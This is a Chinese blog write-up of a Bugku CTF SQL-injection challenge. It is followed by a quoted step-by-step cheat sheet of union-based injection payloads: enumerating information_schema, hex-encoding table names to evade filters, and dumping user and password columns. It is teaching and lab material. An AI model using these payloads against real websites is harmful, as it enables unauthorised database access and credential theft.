bugku 成绩单详解

bugku 成绩单详解

首先打开查询成绩的页面
在这里插入图片描述在火狐浏览器下使用hackbar插件对页面进行post请求,分别依次输入id=1,2,3,4
在这里插入图片描述
当你这样去试了之后,就会发现当输入id=1,2,3,的时候分别有三个孩子的成绩,但是当id=4的时候,成绩单里面的成绩又为空了。
在这里插入图片描述
因此我们可以猜测数据库里面一共是有四列的
然后在此处利用内置函数database()爆破获取数据库的名字。
在这里插入图片描述至于为什么使用union select 的时候再后面添加1,2,3,这几个数字纯粹是凑数的,凑够和union关键字前面的那个表的字段数一样,不然没法拼接成一个表。在sql注入的时候,在将相应位置替换成你想获得的数据,查询结果后面就会显示出来。
此处可以看出数据库的名字叫做skctf_flag

这里记一点零碎的知识:
mysql中的information_schema 结构用来存储数据库系统信息

用该语句得到当前库的所有表
select group_concat(table_name) from information_schema.tables where table_schema=database()

得到表中的字段名 将敏感的表进行16进制编码

现在我们去爆破表名
在这里插入图片描述
得到表名fl4g,sc,可知我们需要的数据在fl4g这个表里

将fl4g转换为十六进制(使用十六进制绕过敏感词)
在这里插入图片描述

得到表中的字段名 将敏感的表进行16进制编码

select group_concat(column_name) from information_schema.columns where table_name=0x666c3467#
在这里插入图片描述

得到字段具体的值

select group_concat(username,0x3a,password) from adminuser
在此处我们构造union select 1,2,3,skctf_flag from fl4g#

在这里插入图片描述
爆破出BUGKU{Sql_INJECT0N_4813drd8hz4}
完成。

可以加我扣扣交流QQ:2585614464

在 HacTF的博客中看到的,这里引用一下,可以方便记忆,但是更具体的应该是需要系统的学习数据库的只是CIA能够掌握了,这也是自己下一个阶段的目标。

1.判断是否存在注入,注入是字符型还是数字型

抓包更改参数id为

1′ or 1=1 #

2.猜解SQL查询语句中的字段数

1 order by 2 #
1 order by 3 #

3.确定显示的字段顺序

1 union select 1,2 #

4.获取当前数据库

1 union select 1,database() #

5.获取数据库中的表

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

6.获取表中的字段名

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #

7.下载数据

1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

猜你喜欢

转载自blog.csdn.net/qq_35811830/article/details/86655279